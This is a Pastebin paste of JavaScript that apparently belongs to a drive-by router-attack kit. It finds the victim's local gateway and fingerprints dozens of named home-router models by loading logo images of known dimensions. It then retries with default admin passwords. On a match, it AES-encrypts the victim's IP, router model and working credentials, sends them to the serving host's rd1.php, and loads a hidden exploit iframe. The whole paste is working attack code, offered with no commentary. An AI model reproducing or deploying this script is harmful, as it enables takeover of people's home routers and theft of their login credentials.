Advertisement
Kafeine

DbP_gcd

May 18th, 2015
510
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function sleep(miliseconds) {
  2.     var currentTime = new Date().getTime();
  3.     while (currentTime + miliseconds >= new Date().getTime()) {
  4.         var i = 1;
  5.     }
  6. }
  7. var f = false;
  8. var w = ['admin:admin', 'admin:1234', 'admin:password', 'admin:12345'];
  9. var m = [
  10.     ["NETI-WF2414", "/images/icon_now.gif", 14, 14, 0],
  11.     ["BELK-F5D7230-4", "/images/title_2.gif", 321, 28, 1],
  12.     ["LINK-L000", "/image/logo_gn.gif", 101, 51, 1],
  13.     ["NETG-DGN1000-DGN2200", "/redbull.gif", 7, 7, 1],
  14.     ["DLIN-DIR810L-826L", "/wlan_masthead.gif", 836, 92, 0],
  15.     ["TRIP-TM01", "/themes/TM01/Drift-logo.png", 300, 89, 0],
  16.     ["TRIP-TM04", "/themes/TM04/Drift-logo.png", 300, 89, 0],
  17.     ["LINK-BEFW11S4 V4", "/tmp.gif", 700, 54, 1],
  18.     ["LINK-LWRT54GLV4", "/image/UI_Linksys.gif", 288, 58, 1],
  19.     ["DLIN-DIR-600", "/Images/img_masthead_red.gif", 856, 92, 0],
  20.     ["NETG-WPN824v3", "/settings.gif", 750, 85, 0],
  21.     ["ASUS-RTG32", "/images/top-02.gif", 359, 78, 1],
  22.     ["LINK-WRT54GV8", "/UILinksys.gif", 165, 57, 1],
  23.     ["ASUS-RT-N12E", "/images/top-02.gif", 359, 78, 1],
  24.     ["ZYXE-NBG334W", "/images/logo.gif", 169, 50, 0],
  25.     ["BELK-F5D7231-4", "/graphics/head_logo.gif", 121, 64, 0],
  26.     ["TPLI-WR940N-WR941ND-WR700", "/images/top1_1.jpg", 280, 87, 1],
  27.     ["EDIM-BR6208AC", "/graphics/banner.png", 1024, 70, 1],
  28.     ["NETG-WNR834Bv2", "/redbull.gif", 7, 7, 1],
  29.     ["BELK-F5D7234-4", "/images/head_logo.gif", 312, 68, 0],
  30.     ["LINK-X3000", "/image/logo_gn.gif", 101, 51, 0],
  31.     ["DLIN-DIR-615", "/wlan_masthead.gif", 836, 92, 0],
  32.     ["DLIN-DIR-2740R", "/Images/img_masthead.jpg", 836, 92, 0],
  33.     ["BELK-F7D1301V1", "/images/head_logo.gif", 140, 45, 0],
  34.     ["DLIN-DIR-645", "/pic/head_01.gif", 162, 92, 0],
  35.     ["MEDI-WAPR300N", "/logo_320x23.png", 320, 23, 0],
  36.     ["LINK-L120", "/image/linksys_logo.png", 230, 30, 1],
  37.     ["LINK-WRT54GSV7", "/UILinksys.gif", 165, 57, 1],
  38.     ["ASUS-RTN56U", "/images/New_ui/asustitle.png", 218, 54, 0],
  39.     ["ASUS-RTN10P", "/images/New_ui/asustitle.png", 218, 54, 0],
  40.     ["ASUS-RTN66U", "/images/New_ui/asustitle.png", 218, 54, 0],
  41.     ["ASUS-RT56-66-10-12", "/images/New_ui/asustitle.png", 218, 54, 0],
  42.     ["ASUS-AC68U", "/images/New_ui/asustitle.png", 218, 54, 0],
  43.     ["NETG-WNDR3400", "/redbull.gif", 7, 7, 0],
  44.     ["DLIN-DIR-651", "/wlan_masthead.gif", 836, 92, 0],
  45.     ["DLIN-DIR-601", "/wlan_masthead.gif", 836, 92, 0],
  46.     ["ZYXE-MVR102", "/graphics/topbar.gif", 900, 60, 1],
  47.     ["TREN-E300-150", "/image/logo.gif", 390, 69, 0],
  48.     ["ZYXE-NBG416", "/images/logo.gif", 169, 50, 0],
  49.     ["MICR-MN-500", "/images/header.jpg", 800, 70, 0],
  50.     ["TEND-11N", "/tendalogo.gif", 387, 90, 0],
  51.     ["BELK-F5D8236-4V2", "/images/head_logo.gif", 312, 68, 0],
  52.     ["TREN-TW100S4W1CA", "/images/logo.jpg", 270, 69, 0],
  53.     ["TPLI-ALL", "/images/top1_1.jpg", 280, 87, 1],
  54.     ["BELK-PHILIPS", "/images/title_2.gif", 321, 28, 1],
  55.     ["DLIN-DIR-604", "/home_01.jpg", 765, 95, 0],
  56.     ["ASUS-UNKNOWN", "/images/New_ui/asustitle.png", 218, 54, 0],
  57.     ["NETG-DGN1000B", "/redbull.gif", 7, 7, 1],
  58.     ["DLIN-WBR1310", "/wlan_masthead.gif", 836, 92, 0],
  59.     ["NETG-DG834v3-DGN2200", "/redbull.gif", 7, 7, 1],
  60.     ["DLIN-D2760", "/wlan_masthead.gif", 836, 92, 0],
  61.     ["DLIN-DSLG604T", "/html/images/dsl604.jpg", 765, 95, 1],
  62.     ["BELK-F9k1105V2", "/images/icon-Change_pencil.png", 18, 18, 0],
  63.     ["BELK-F9k1105V2", "/images/icon-Change_pencil.png ", 18, 18, 0],
  64.     ["DLIN-ALL-2740R", "/wlan_masthead.gif", 836, 92, 0],
  65.     ["NETI-WF2414", "/images/icon_now.gif", 14, 14, 0],
  66.     ["BELK-F5D7230-4", "/images/title_2.gif", 321, 28, 1],
  67.     ["LINK-L000", "/image/logo_gn.gif", 101, 51, 1],
  68.     ["NETG-DGN1000-DGN2200", "/redbull.gif", 7, 7, 1],
  69.     ["DLIN-DIR810L-826L", "/wlan_masthead.gif", 836, 92, 0],
  70.     ["TRIP-TM01", "/themes/TM01/Drift-logo.png", 300, 89, 0],
  71.     ["TRIP-TM04", "/themes/TM04/Drift-logo.png", 300, 89, 0],
  72.     ["LINK-BEFW11S4 V4", "/tmp.gif", 700, 54, 1],
  73.     ["LINK-LWRT54GLV4", "/image/UI_Linksys.gif", 288, 58, 1],
  74.     ["DLIN-DIR-600", "/Images/img_masthead_red.gif", 856, 92, 0],
  75.     ["NETG-WPN824v3", "/settings.gif", 750, 85, 0],
  76.     ["ASUS-RTG32", "/images/top-02.gif", 359, 78, 1],
  77.     ["LINK-WRT54GV8", "/UILinksys.gif", 165, 57, 1],
  78.     ["ASUS-RT-N12E", "/images/top-02.gif", 359, 78, 1],
  79.     ["ZYXE-NBG334W", "/images/logo.gif", 169, 50, 0],
  80.     ["BELK-F5D7231-4", "/graphics/head_logo.gif", 121, 64, 0],
  81.     ["TPLI-WR940N-WR941ND-WR700", "/images/top1_1.jpg", 280, 87, 1],
  82.     ["EDIM-BR6208AC", "/graphics/banner.png", 1024, 70, 1],
  83.     ["NETG-WNR834Bv2", "/redbull.gif", 7, 7, 1],
  84.     ["BELK-F5D7234-4", "/images/head_logo.gif", 312, 68, 0],
  85.     ["LINK-X3000", "/image/logo_gn.gif", 101, 51, 0],
  86.     ["DLIN-DIR-615", "/wlan_masthead.gif", 836, 92, 0],
  87.     ["DLIN-DIR-2740R", "/Images/img_masthead.jpg", 836, 92, 0],
  88.     ["BELK-F7D1301V1", "/images/head_logo.gif", 140, 45, 0],
  89.     ["DLIN-DIR-645", "/pic/head_01.gif", 162, 92, 0],
  90.     ["MEDI-WAPR300N", "/logo_320x23.png", 320, 23, 0],
  91.     ["LINK-L120", "/image/linksys_logo.png", 230, 30, 1],
  92.     ["LINK-WRT54GSV7", "/UILinksys.gif", 165, 57, 1],
  93.     ["ASUS-RTN56U", "/images/New_ui/asustitle.png", 218, 54, 0],
  94.     ["ASUS-RTN10P", "/images/New_ui/asustitle.png", 218, 54, 0],
  95.     ["ASUS-RTN66U", "/images/New_ui/asustitle.png", 218, 54, 0],
  96.     ["ASUS-RT56-66-10-12", "/images/New_ui/asustitle.png", 218, 54, 0],
  97.     ["ASUS-AC68U", "/images/New_ui/asustitle.png", 218, 54, 0],
  98.     ["NETG-WNDR3400", "/redbull.gif", 7, 7, 0],
  99.     ["DLIN-DIR-651", "/wlan_masthead.gif", 836, 92, 0],
  100.     ["DLIN-DIR-601", "/wlan_masthead.gif", 836, 92, 0],
  101.     ["ZYXE-MVR102", "/graphics/topbar.gif", 900, 60, 1],
  102.     ["TREN-E300-150", "/image/logo.gif", 390, 69, 0],
  103.     ["ZYXE-NBG416", "/images/logo.gif", 169, 50, 0],
  104.     ["MICR-MN-500", "/images/header.jpg", 800, 70, 0],
  105.     ["TEND-11N", "/tendalogo.gif", 387, 90, 0],
  106.     ["BELK-F5D8236-4V2", "/images/head_logo.gif", 312, 68, 0],
  107.     ["TREN-TW100S4W1CA", "/images/logo.jpg", 270, 69, 0],
  108.     ["TPLI-ALL", "/images/top1_1.jpg", 280, 87, 1],
  109.     ["BELK-PHILIPS", "/images/title_2.gif", 321, 28, 1],
  110.     ["DLIN-DIR-604", "/home_01.jpg", 765, 95, 0],
  111.     ["ASUS-UNKNOWN", "/images/New_ui/asustitle.png", 218, 54, 0],
  112.     ["NETG-DGN1000B", "/redbull.gif", 7, 7, 1],
  113.     ["DLIN-WBR1310", "/wlan_masthead.gif", 836, 92, 0],
  114.     ["NETG-DG834v3-DGN2200", "/redbull.gif", 7, 7, 1],
  115.     ["DLIN-D2760", "/wlan_masthead.gif", 836, 92, 0],
  116.     ["DLIN-DSLG604T", "/html/images/dsl604.jpg", 765, 95, 1],
  117.     ["BELK-F9k1105V2", "/images/icon-Change_pencil.png", 18, 18, 0],
  118.     ["BELK-F9k1105V2", "/images/icon-Change_pencil.png ", 18, 18, 0],
  119.     ["DLIN-ALL-2740R", "/wlan_masthead.gif", 836, 92, 0]
  120. ];
  121.  
  122. function scan(r, id, ip, page, w, h, f) {
  123.     if (!!!document.getElementById('exp_')) {
  124.         if (r != '' && f == '1') {
  125.             document.write('<style type=\'text/css\'>@import url(http://' + decodeURIComponent(r) + ip + ');</style>');
  126.             setTimeout(function() {
  127.                 window.stop();
  128.             }, 18);
  129.         }
  130.         setTimeout(function() {
  131.             var b = CryptoJS.AES.encrypt(JSON.stringify('' + ip + '&' + id + '&' + decodeURIComponent(r.substring(0, r.length - 1)) + '&{97FF5EB2-F1CE-7865-2CD5-1C29D764B886}'), 'onceu5397', {
  132.                 format: CryptoJSAesJson
  133.             }).toString();
  134.             var img = new Image;
  135.             img.id = id;
  136.             img.src = 'http://' + ip + page;
  137.             img.onload = function() {
  138.                 if (img.width == w && img.height == h) {
  139.                     stopAllTimeouts();
  140.                     if (!!!document.getElementById('exp_')) {
  141.                         f = true;
  142.                         var i = new Image;
  143.                         i.src = 'rd1.php?l=' + b;
  144.                         document.write('<body></body>');
  145.                         var fr = document.createElement('iframe');
  146.                         fr.height = '800px';
  147.                         fr.id = 'exp_';
  148.                         fr.style.display = 'none';
  149.                         fr.width = '200px';
  150.                         fr.src = 'aes.php?ts=1&da=' + b;
  151.                         document.body.appendChild(fr);
  152.                     }
  153.                 }
  154.             }
  155.         }, 25);
  156.     }
  157. };
  158. var q = function(ip) {
  159.     for (j = 0; j < m.length; j++) {
  160.         scan('', m[j][0], ip, m[j][1], m[j][2], m[j][3], m[j][4]);
  161.     }
  162. };
  163. var p = function(ip) {
  164.     for (k = 0; k < w.length; k++) {
  165.         var l = w[k];
  166.         if (l != '') {
  167.             l = l + '@';
  168.         }
  169.         for (j = 0; j < m.length; j++) {
  170.             var a0 = m[j][0];
  171.             var a1 = m[j][1];
  172.             var a2 = m[j][2];
  173.             var a3 = m[j][3];
  174.             var a4 = m[j][4];
  175.             (function(l, k, a0, ip, a1, a2, a3, a4) {
  176.                 setTimeout(function() {
  177.                     scan(l, a0, ip, a1, a2, a3, a4);
  178.                 }, 50 * (((k * m.length) + j) + 1));
  179.             })(l, k, a0, ip, a1, a2, a3, a4);
  180.         }
  181.     }
  182. };
  183. var tz = setTimeout(function() {
  184.     window.location.replace('about:blank');
  185. }, 150000);
  186. getIPs(function(ip) {
  187.     if (ip.match(/^(192\.168\.|169\.254\.|10\.|172\.(1[6-9]|2\d|3[01]))/)) {
  188.         var gw = ['192.168.1.1', '192.168.8.1', '192.168.0.1', '192.168.10.1', '192.168.137.1', '10.10.10.1', '192.168.100.1', '10.1.1.1', '10.0.0.1', '192.168.2.1', '192.168.1.2', '192.168.2.2'];
  189.         var sip = ip.split('.');
  190.         ip = sip[0] + '.' + sip[1] + '.' + sip[2] + '.1';
  191.         var i = 0;
  192.         var j = 0;
  193.         for (i = 0; i < gw.length; i++) {
  194.             if (ip == gw[i]) {
  195.                 j = j + 1;
  196.                 break;
  197.             }
  198.         };
  199.         i = i + 1;
  200.         if (j > 0) {
  201.             document.getElementById('myip').value = ip;
  202.         };
  203.     }
  204. });
  205. var ty = setTimeout(function() {
  206.     var xip = document.getElementById('myip').value;
  207.     if (xip != '') {
  208.         var yip = xip.split('.')[0] + '.' + xip.split('.')[1] + '.' + xip.split('.')[2] + '.254';
  209.         q(xip);
  210.         setTimeout(function() {
  211.             p(xip)
  212.         }, 3000);
  213.         setTimeout(function() {
  214.             q(yip)
  215.         }, 6000);
  216.         setTimeout(function() {
  217.             p(yip)
  218.         }, 9000);
  219.     } else {
  220.         window.location.replace('about:blank');
  221.     }
  222. }, 2000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement